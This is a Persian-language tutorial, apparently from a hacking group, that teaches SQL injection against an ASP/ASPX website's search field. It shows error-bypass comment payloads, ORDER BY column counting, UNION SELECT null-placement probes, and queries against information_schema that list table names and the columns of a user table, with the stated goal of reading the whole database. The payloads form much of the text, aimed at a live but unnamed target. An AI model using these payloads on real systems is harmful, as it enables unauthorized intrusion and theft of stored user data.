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  : اخطار 

از آن با ذکر منبع مجاز  آشیانھ میباشد و ھرگونھ کپی ن مقالھ مختص گروه امنیتیای
  . پذیرم رو نمیاین مقالھ  از سئولیتی درباره استفاده نا درستمیباشد و من ھیچ گونھ م

  

  : مقدمھ 

  

می پردازیم کھ در برخی اوقات در  sql injectionما در این مقالھ بھ مبحث 
database   ھایAsp aspx   ی خطا با runtime error  و  ! مواجھ میشیم

 ماما ما اینجا آموزش میدی! کرد  کاری  errorبعضی از عزیزان میگفتند کھ نمیشھ با این 
  ! ین کارو کنیم کھ چطوری میتونیم ا

  

  

  

 (;بریم ببینیم چطوری میشھ این کارو کرد 

 

  

  



رو میده یا نھ   errorاما اینجا میریم کھ ببینیم اصلا تارگت رو سعی میکنیم نشون ندیم و
  ` hahaسایت با زدن کاراکتر مورد نظر کھ ما اینجا از   searchخوب در قسمت ! 

  دقت کنید  1 بھ تصویر! استفاده کردیم 

  
  

  !بلھ ما منتظر جواب ھستیم 

  

  

  ! میده ؟   Errorآیا 

  



داده بھ   error runtimeر ھست کھ بلھ بھ ما خوب جواب تست ما بھ صورت عکس زی
  دقت کنید  2عکس شماره 

  
  

  رو اجرا کنیم دستورات  خوب ما دیگھ بریم

  ! خودتون دستورات رو اجرا کنید    Art injectionشما میتونید بر اساس 

  

  : بلھ اولین دستور من بھ این شکل است 

Hahaha ` /*  

Hahaha ` %00 

  ! ببینیم از این دستور چی دستگیرمون میشھ 

  ! بدست میاد و کاربردی نداره  2از این دو دستور ھمون تصویر شماره 



  : دستور بعدی بھ این شکل است 

Hahaha ` -- 

  م ببینی! خوب این دستور بھ ما چیو نشون میده ؟ 

... رو  Eroorکنیم   bypassبلھ ھمون طور کھ دیدید ما با این دستور ساده تونستیم 
  دقت کنید  3بھ عکس شماره 

  
  

  ! خوب دیدید کھ شد 

  ! ھدف   databaseاصلی و خواندن   injectحالا بھتره بریم سراغ 

  : دستور بعدی 

Hahaha ` order by 1--    

  !ور چی گیرمون میاد و ببینیم کھ از این دست



  صورت گرفتھ   injectکھ پس از  بھ تصویردقت کنید 

  ! برای ما ظاھر میشھ  3تصویر شماره   errorبلھ ھمون طور کھ من مشاھده کرده ام 

  حالا میریم سره دستور بعدی کھ بھ صورت زیر است 

Hahaha ` order by 100-- 

  ! دیگھ داده   Errorرسوندیم بھ ما یھ  100بھ  1جالب اینجاست کھ ما وقتی تعداد رو از 

  (;! مواجھ شدیم   2تصویر شماره   errorبا  100 کلومن با دستور قرار دادن مقدار

ستور رو عوض پس ما د! است  100 بھ ما میگھ کھ تعداد کلومن ھا کمتر از : نکتھ 
  میکنیم بھ شکل زیر 

Hahaha ` order by 20 -- 

  !ھست   20بازم میگھ کھ کمتر از 

Hahaha ` order by 10 -- 

بھ  /میگیریم   errorما  16و در  !میباشد  15ھا   columnبلھ مشخص شد کھ تعداد 
  دقت کنید  4عکس شماره 

  

  



  بلھ حالا بریم سراغ دستور بعدی 

  columnھا برای بدست آوردن   columnاستفاده میکنیم در   nullما اینجا از 
  ! اسیب پذیر 

   1دستور 

hahaha ` union select null,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- 

قرار   nullو ھمینطور دونھ دونھ بھ جای کلومن ھا   null قرار دادیم 1ما اینجا بھ جای 
  میدیم تا بھ مقدار عدد آسیب پذیر برسیم 

  دقت کنید  5بھ تصویر شماره  !میباشد  2در عدد   nullاین عکس در گذاشتن 

  

  
  ! میشھ   loadخوب با این مورد صفحھ ما کامل 

  !و ھمینجوری میریم جلو تا بھ اسیب پذیر برسیم 



و ! ش دیگھ بریم جلو وریھ  خوب دیگھ باید با   );بلھ مثل اینکھ این مورد جواب نمیده 
  !با توجھ بھ گفتھ ھای بالا ! دستور رو یکم دستکاری کنیم 

این . در کلومن   nullکھ ما اینجا بھ جای گذاشتن دستور بعدی ما بھ این صورت است 
  )   art injectionکھ بھ این میگم ( اضافھ میکنیم   nullیک کلومن بار ما میایم 

 

hahaha ` union select 1,2,3,4,5,6,7,8,9,10,11,12,13,null,14,15 -- 

 

   دقت کنیدیر بھ تصو. میگیریم بھ این شکل است   errorجوابی کھ ما از این 

باز میریم جلو و سعی بر این ! ھم خوانی دارد  2ب ما باز ھم با تصویر شماره بلھ جوا
  ! کنیم    injectداریم کھ بلاخره بتونیم 

  ی دقت کنید بھ دستور بعد

hahaha ` union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,null -- 

بلھ با موفقیت جواب گرفتیم و تمامی کلومن ھای اسیب پذیر رو پیدا کردیم و تونستیم کھ 
  دقت کنید  6بھ عکس شماره ! کنیم   bypassسرور رو 

  



  ر خوب بریم دستور بعدی بسیا

hahaha ` union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,null from 
information_schema.tables -- 

  دقت کنید  7بھ عکس شماره بلھ 

  
  ھا بدست اومد   tableھمینطور کھ معلومھ تمام 

  

میخوایم   Table nameخوب دستور بعدی بھ این شکل است کھ ما با استفاده از یک  
  ! رو بدست بیاریم   table  ناطلاعات او

hahaha ` union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,null from 
information_schema.columns where table_name=`tblrsuser`  

  

  

 



  دقت کنید  8بھ عکس شماره 

  

  

  ! است   fnameمورد نظر ما یکی از کلومن ھاش   tableبلھ در اون 

  ! رو بخونیم   dbخوب ھمینطور ادامھ میدیم تا ھمھ 

  

  امید وارم موفق و پیروز باشید 
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